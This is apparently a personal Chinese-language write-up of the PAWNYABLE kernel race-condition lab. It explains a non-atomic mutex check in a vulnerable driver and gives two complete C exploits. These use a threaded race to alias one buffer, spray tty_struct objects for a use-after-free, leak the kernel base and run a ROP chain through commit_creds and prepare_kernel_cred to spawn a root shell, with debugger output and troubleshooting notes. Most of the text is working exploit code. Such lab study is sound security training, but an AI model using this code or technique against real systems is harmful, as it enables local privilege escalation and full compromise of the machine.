PAWNYABLE kernel race condition 笔记
漏洞点在于,open 的时候 mutex 的检查和设置不是原子操作。
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
if (mutex) {
printk(KERN_INFO "resource is busy");
return -EBUSY;
}
mutex = 1;
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
如何利用条件竞争
可以开启两个 fd 然后关闭,来确认接下来使用的两个 fd 是哪个。
void *race(void *) {
int fd;
while(1) {
while( !win ) {
// 如果2个进程都打开了设备,那就把 win 设为 1
fd = open("/dev/holstein", O_RDWR);
if( fd == fd2) {
win = 1;
}
if( win == 1 && fd != -1) {
// 如果本进程开了设备,而且另一个进程也打开
break;
} else if ( win == 0 && fd != -1) {
// 如果本进程开了设备,但另一个进程没打开
close(fd);
} else if ( win == 1 && fd == -1) {
// 如果本进程没开设备,但另一个进程打开了
win = 0;
}
}
if(write(fd1, "a", 1) == 1 && write(fd2, "a", 1) == 1) {
break;
} else{
// 当前的 fd 肯定不是 -1
close(fd);
// 重置为 0
win = 0;
}
}
}
void create_overlap() {
// 提前测试 fd1 和 fd2 是多少
pthread_t th1, th2;
fd1 = open("/tmp", O_RDONLY);
fd2 = open("/tmp", O_RDONLY);
close(fd1);
close(fd2);
printf("[+] next fds: %d, %d\n", fd1, fd2);
pthread_create(&th1, NULL, race, NULL);
pthread_create(&th2, NULL, race, NULL);
pthread_join(th1, NULL);
pthread_join(th2, NULL);
printf("[+] get next fds: %d, %d\n", fd1, fd2);
}
tyy spread 写法
多线程用 tty structure 去 uaf 不是很稳定,常常用完了 fd 叶没有拿到 tty structue...解决的方法是每次都检查内核模块的地址有没有被成功获取,然后把之前打开的没用的 tty close 掉。
void *spread_tty( void *) {
char leak[0x40];
int i;
for ( i = 0; i < SPREAD_SIZE; i++) {
if((tty[i] = open("/dev/ptmx", O_RDWR)) < 0) {
perror("open tty");
goto fail;
}
if(read(fd2, leak, sizeof(leak)) == sizeof(leak) && *(uint64_t *)(leak + 0x38)) {
printf("[+] spread tty success %d\n", i);
for(int j = 0; j < i; j++) {
close(tty[j]);
}
return &tty[i];
}
}
fail:
printf("[-] spread tty failed %d\n", i);
for(int j = 0; j < i; j++) {
close(tty[j]);
}
return 0;
}
一些奇怪问题
Q1
受不了,怎么两次拿到一样的堆块...即使不拿到一样的堆块,之前写着 rop 的块也会被其他 tty 申请导致协商的内容会被覆盖。可是 fd2 如果不关闭,那没办法再申请一次呀...?
/ $ ./exp
[+] next fds: 3, 4
[+] get next fds: 3, 4
[+] spread tty success 0
kbase ffffffff82000000
kheap ffffa3f681bca400
[+] next fds: 4, 5
[+] get next fds: 4, 5
[+] spread tty success 0
gadget ffffffff8261c440
addr2 ffffa3f681bca400
原来不用关闭 fd2,因为当 fd1 关闭的时候已经可以再次申请了啊啊
Q2
有个疑问 ,为什么 iretq 会失败?哦,逆天,我忘记save status 了...
Q3
现在可以了,就是可能不是很稳定?有时候 kbase 的偏移会出问题,嗷~好像是因为这个 opt 的原始地址貌似不是一样的,申请的块里面有两种地址,我之前没有发现,导致计算 kbase 的是很难
pwndbg> x/10gx 0xffff9fd301bf9400 + 0x18
0xffff9fd301bf9418: 0xffffffff8fc3aec0 0x0000000000000004
0xffff9fd301bf9428: 0x0000000000000000 0x0000000000000000
0xffff9fd301bf9438: 0xffff9fd301bf9438 0xffff9fd301bf9438
0xffff9fd301bf9448: 0xffff9fd301bf9448 0xffff9fd301bf9448
0xffff9fd301bf9458: 0xffff9fd301221a00 0xffffffff8f61c320
pwndbg> x/10gx 0xffff9fd301bf9400 + 0x18 + 0x400
0xffff9fd301bf9818: 0xffffffff8fc3afe0 0x0000000000000004
0xffff9fd301bf9828: 0x0000000000000000 0x0000000000000000
0xffff9fd301bf9838: 0xffff9fd301bf9838 0xffff9fd301bf9838
0xffff9fd301bf9848: 0xffff9fd301bf9848 0xffff9fd301bf9848
0xffff9fd301bf9858: 0xffff9fd3012219f0 0x000000000000000
在源码里面 tty->ops 是由 driver 来确定的。但是 driver 可能不一样?
tty->driver = driver;
tty->ops = driver->ops;
tty->index = idx;
tty_line_name(driver, idx, tty->name);
tty->dev = tty_get_device(tty);
调试了一下确实是两个 driver
pwndbg> tele 0xffff8d02c13c06c0
00:0000│ rdi 0xffff8d02c13c06c0 ◂— 0x200005402
01:0008│ 0xffff8d02c13c06c8 —▸ 0xffff8d02c1996590 —▸ 0xffff8d02c105cb80 ◂— 0
02:0010│ 0xffff8d02c13c06d0 ◂— 0
03:0018│ 0xffff8d02c13c06d8 —▸ 0xffffffff96f44eb1 ◂— 'pty_slave'
04:0020│ 0xffff8d02c13c06e0 —▸ 0xffffffff96f269a7 ◂— 0x64616f6c00737470 /* 'pts' */
05:0028│ 0xffff8d02c13c06e8 ◂— 0x8800000000
06:0030│ 0xffff8d02c13c06f0 ◂— 0x10000000000000
07:0038│ 0xffff8d02c13c06f8 ◂— 0x50000020004
pwndbg> tele 0xffff8d02c13c0600
00:0000│ r15 0xffff8d02c13c0600 ◂— 0x200005402
01:0008│ 0xffff8d02c13c0608 —▸ 0xffff8d02c1996588 —▸ 0xffff8d02c105cb00 ◂— 0
02:0010│ 0xffff8d02c13c0610 ◂— 0
03:0018│ 0xffff8d02c13c0618 —▸ 0xffffffff96f44ea6 ◂— 'pty_master'
04:0020│ 0xffff8d02c13c0620 —▸ 0xffffffff96f44edd ◂— 0x2d797474006d7470 /* 'ptm' */
05:0028│ 0xffff8d02c13c0628 ◂— 0x8000000000
06:0030│ 0xffff8d02c13c0630 ◂— 0x10000000000000
07:0038│ 0xffff8d02c13c0638 ◂— 0x10004
一个是 pty_master 一个是 pty_slave [参考](ptmx(4): pseudoterminal master/slave - Linux man page) ,每次 open("/dev/ptmx", O_RDWR)
都会分配两个 1024 大小的块。
exp
现在好像比较稳定了
#include <fcntl.h>
#include <pthread.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <inttypes.h>
#include <sys/ioctl.h>
#define BUF_SIZE 0x400
#define SPREAD_SIZE 800
int win = 0;
char buf1[BUF_SIZE], buf2[BUF_SIZE];
int tty[SPREAD_SIZE];
int fd1, fd2;
// 0xffffffff810b13c5: pop rdi; ret;
// 0xffffffff813006fc: pop rcx; pop rbx; pop rbp; ret;
// 0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
// 0xffffffff8161c440: push r8; add dword ptr [rbx + 0x41], ebx; pop rsp; pop r13; pop rbp; ret;
uint64_t pop_rdi_ret = 0xb13c5;
uint64_t pop_rcx_rbp_ret = 0x3006fc;
uint64_t mov_rdi_rax_ret = 0x65094b;
uint64_t gadget = 0x61c440;
uint64_t kbase, kheap;
uint64_t commit_creds = 0x723e0;
uint64_t prepare_kernel_cred =0x72580;
uint64_t srrartu = 0x800e10 + 22;
uint64_t modprobe_path = 0xe384c0;
uint64_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
asm("movq %%cs, %0\n\t"
"movq %%ss, %1\n\t"
"movq %%rsp, %3\n\t"
"pushfq\n\t"
"popq %2\n\t"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
: // no input
: "memory");
}
void print_hex(char *name, uint64_t addr) {
printf("%s %" PRIx64 "\n", name, addr);
}
void binsh() {
puts("get shell");
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
// TODO 两个打开的 fc 怎么确认
void *race(void *) {
int fd;
while(1) {
while( !win ) {
// 如果2个进程都打开了设备,那就把 win 设为 1
fd = open("/dev/holstein", O_RDWR);
if( fd == fd2) {
win = 1;
}
if( win == 1 && fd != -1) {
// 如果本进程开了设备,而且另一个进程也打开
break;
} else if ( win == 0 && fd != -1) {
// 如果本进程开了设备,但另一个进程没打开
close(fd);
} else if ( win == 1 && fd == -1) {
// 如果本进程没开设备,但另一个进程打开了
win = 0;
}
}
if(write(fd1, "a", 1) == 1 && write(fd2, "a", 1) == 1) {
break;
} else{
// 当前的 fd 肯定不是 -1
close(fd);
// 重置为 0
win = 0;
}
}
}
void set_rop() {
// for(int i = 0; i < BUF_SIZE; i+=8) {
// *(uint64_t *)(buf1 + i) = i;
// }
*(uint64_t *)(buf1 + 0x60) = gadget + kbase;
uint64_t rop_chain[] = {pop_rdi_ret + kbase,
0,
prepare_kernel_cred + kbase,
pop_rcx_rbp_ret + kbase,
0,
0,
0,
mov_rdi_rax_ret + kbase,
commit_creds + kbase,
srrartu + kbase,
0x1,
0x2,
(uint64_t)&binsh,
user_cs,
user_rflags,
user_sp,
user_ss};
memcpy(buf1 + 0x90, rop_chain, sizeof(rop_chain));
write(fd2, buf1, BUF_SIZE);
}
void create_overlap() {
// 提前测试 fd1 和 fd2 是多少
pthread_t th1, th2;
fd1 = open("/tmp", O_RDONLY);
fd2 = open("/tmp", O_RDONLY);
close(fd1);
close(fd2);
printf("[+] next fds: %d, %d\n", fd1, fd2);
pthread_create(&th1, NULL, race, NULL);
pthread_create(&th2, NULL, race, NULL);
pthread_join(th1, NULL);
pthread_join(th2, NULL);
printf("[+] get next fds: %d, %d\n", fd1, fd2);
}
void *spread_tty( void *) {
char leak[0x40];
int i;
for ( i = 0; i < SPREAD_SIZE; i++) {
if((tty[i] = open("/dev/ptmx", O_RDWR)) < 0) {
perror("open tty");
goto fail;
}
if(read(fd2, leak, sizeof(leak)) == sizeof(leak) && *(uint64_t *)(leak + 0x38)) {
printf("[+] spread tty success %d\n", i);
for(int j = 0; j < i; j++) {
close(tty[j]);
}
return &tty[i];
}
}
fail:
printf("[-] spread tty failed %d\n", i);
for(int j = 0; j < i; j++) {
close(tty[j]);
}
return 0;
}
int main() {
save_status();
pthread_t th;
create_overlap();
close(fd1);
// TODO 开了太多描述符怎么办
int *rt;
rt = spread_tty(NULL);
while(!rt) {
pthread_create(&th, NULL, spread_tty, NULL);
pthread_join(th, (void *)&rt);
}
read(fd2, buf1, BUF_SIZE);
// kbase = *(uint64_t *)(buf1 + 24) - 0xc3afe0 ;
kbase = (*(uint64_t *)(buf1 + 24) - 0xc3aec0) & 0xfffffffffffff000;
kheap = *(uint64_t *)(buf1 + 56) - 56;
print_hex("kbase", kbase);
print_hex("kheap", kheap);
print_hex("alloc_tty_struct", 0x334b30 + kbase);
getchar();
open("/dev/ptmx", O_RDWR);
getchar();
// put rop chain
set_rop();
// close(fd2);
create_overlap();
close(fd1);
rt = spread_tty(NULL);
while(!rt) {
pthread_create(&th, NULL, spread_tty, NULL);
pthread_join(th, (void *)&rt);
}
read(fd2, buf2, BUF_SIZE);
*(uint64_t *)(buf2+24) = kheap;
write(fd2, buf2, BUF_SIZE);
print_hex("gadget", gadget + kbase);
// for(int i = 0; i < BUF_SIZE; i+=8) {
// printf("%d", i);
// print_hex("buf2", *(uint64_t *)(buf2 + i));
// }
print_hex("addr2", (*(uint64_t *)(buf2 + 0x38) - 0x38));
getchar();
// 如今的 tty 是多少可以确定
printf("[+] tty: %d\n", *rt);
ioctl(*rt, kheap+0x80, kheap+0x80);
}
如果尝试使用 sched_setaffinity
尝试一下 bind cpu?
可以使用下面这种方法来绑定
CPU_ZERO(&t1_cpu);
CPU_ZERO(&t2_cpu);
CPU_SET(0, &t1_cpu);
CPU_SET(1, &t2_cpu);
...
cpu_set_t *cpu_set = (cpu_set_t*)arg;
if (sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set))
fatal("sched_setaffinity");
...
pthread_create(&th1, NULL, race, (void*)&t1_cpu);
pthread_create(&th2, NULL, race, (void*)&t2_cpu);
即使我绑定了 cpu 成功率也只有大概二分之一,而且 gdb 调试的时候十分正常...
#define _GNU_SOURCE
#include <sched.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <inttypes.h>
#include <sys/ioctl.h>
#define BUF_SIZE 0x400
#define SPREAD_SIZE 800
int win = 0;
char buf1[BUF_SIZE], buf2[BUF_SIZE];
int tty[SPREAD_SIZE];
int fd1, fd2;
// 0xffffffff810b13c5: pop rdi; ret;
// 0xffffffff813006fc: pop rcx; pop rbx; pop rbp; ret;
// 0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
// 0xffffffff8161c440: push r8; add dword ptr [rbx + 0x41], ebx; pop rsp; pop r13; pop rbp; ret;
uint64_t pop_rdi_ret = 0xb13c5;
uint64_t pop_rcx_rbp_ret = 0x3006fc;
uint64_t mov_rdi_rax_ret = 0x65094b;
uint64_t gadget = 0x61c440;
uint64_t kbase, kheap;
uint64_t commit_creds = 0x723e0;
uint64_t prepare_kernel_cred =0x72580;
uint64_t srrartu = 0x800e10 + 22;
uint64_t modprobe_path = 0xe384c0;
uint64_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
asm("movq %%cs, %0\n\t"
"movq %%ss, %1\n\t"
"movq %%rsp, %3\n\t"
"pushfq\n\t"
"popq %2\n\t"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
: // no input
: "memory");
}
void print_hex(char *name, uint64_t addr) {
printf("%s %" PRIx64 "\n", name, addr);
}
void binsh() {
puts("get shell");
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
// TODO 两个打开的 fc 怎么确认
void *race(void *arg) {
cpu_set_t *cpu_set = (cpu_set_t*)arg;
sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);
int fd;
while(1) {
while( !win ) {
// 如果2个进程都打开了设备,那就把 win 设为 1
fd = open("/dev/holstein", O_RDWR);
if( fd == fd2) {
win = 1;
}
if( win == 1 && fd != -1) {
// 如果本进程开了设备,而且另一个进程也打开
break;
} else if ( win == 0 && fd != -1) {
// 如果本进程开了设备,但另一个进程没打开
close(fd);
} else if ( win == 1 && fd == -1) {
// 如果本进程没开设备,但另一个进程打开了
win = 0;
}
}
if(write(fd1, "a", 1) == 1 && write(fd2, "a", 1) == 1) {
break;
} else{
// 当前的 fd 肯定不是 -1
close(fd);
// 重置为 0
win = 0;
}
}
}
void set_rop() {
// for(int i = 0; i < BUF_SIZE; i+=8) {
// *(uint64_t *)(buf1 + i) = i;
// }
*(uint64_t *)(buf1 + 0x60) = gadget + kbase;
uint64_t rop_chain[] = {pop_rdi_ret + kbase,
0,
prepare_kernel_cred + kbase,
pop_rcx_rbp_ret + kbase,
0,
0,
0,
mov_rdi_rax_ret + kbase,
commit_creds + kbase,
srrartu + kbase,
0x1,
0x2,
(uint64_t)&binsh,
user_cs,
user_rflags,
user_sp,
user_ss};
memcpy(buf1 + 0x90, rop_chain, sizeof(rop_chain));
write(fd2, buf1, BUF_SIZE);
}
void *spread_tty( void *arg) {
cpu_set_t *cpu_set = (cpu_set_t*)arg;
sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);
char leak[0x40];
int i;
for ( i = 0; i < SPREAD_SIZE; i++) {
if((tty[i] = open("/dev/ptmx", O_RDWR)) < 0) {
perror("open tty");
goto fail;
}
if(read(fd2, leak, sizeof(leak)) == sizeof(leak) && *(uint64_t *)(leak + 0x38)) {
printf("[+] spread tty success %d\n", i);
for(int j = 0; j < i; j++) {
close(tty[j]);
}
return &tty[i];
}
}
fail:
printf("[-] spread tty failed %d\n", i);
for(int j = 0; j < i; j++) {
close(tty[j]);
}
return 0;
}
int create_overlap() {
cpu_set_t t1_cpu, t2_cpu;
CPU_ZERO(&t1_cpu);
CPU_ZERO(&t2_cpu);
CPU_SET(0, &t1_cpu);
CPU_SET(1, &t2_cpu);
// 提前测试 fd1 和 fd2 是多少
pthread_t th1, th2, th;
fd1 = open("/tmp", O_RDONLY);
fd2 = open("/tmp", O_RDONLY);
close(fd1);
close(fd2);
printf("[+] next fds: %d, %d\n", fd1, fd2);
pthread_create(&th1, NULL, race, (void*)&t1_cpu);
pthread_create(&th2, NULL, race, (void*)&t2_cpu);
pthread_join(th1, NULL);
pthread_join(th2, NULL);
printf("[+] get next fds: %d, %d\n", fd1, fd2);
close(fd1);
int *rt;
rt = spread_tty((void*)&t1_cpu);
while(!rt) {
pthread_create(&th, NULL, spread_tty, (void*)&t2_cpu);
pthread_join(th, (void *)&rt);
}
return *rt;
}
int main() {
save_status();
create_overlap();
read(fd2, buf1, BUF_SIZE);
// kbase = *(uint64_t *)(buf1 + 24) - 0xc3afe0 ;
kbase = (*(uint64_t *)(buf1 + 24) - 0xc3aec0) & 0xfffffffffffff000;
kheap = *(uint64_t *)(buf1 + 56) - 56;
print_hex("kbase", kbase);
print_hex("kheap", kheap);
// put rop chain
set_rop();
// 不需要 close(fd2); 因为在 fd1 close 的时候 mutex 已经为 0
int rt = create_overlap();
read(fd2, buf2, BUF_SIZE);
*(uint64_t *)(buf2+24) = kheap;
write(fd2, buf2, BUF_SIZE);
print_hex("heap 2:", (*(uint64_t *)(buf2 + 56) - 56));
print_hex("gadget", gadget + kbase);
getchar();
// 如今的 tty 是多少可以确定
printf("[+] tty: %d\n", rt);
ioctl(rt, kheap+0x80, kheap+0x80);
}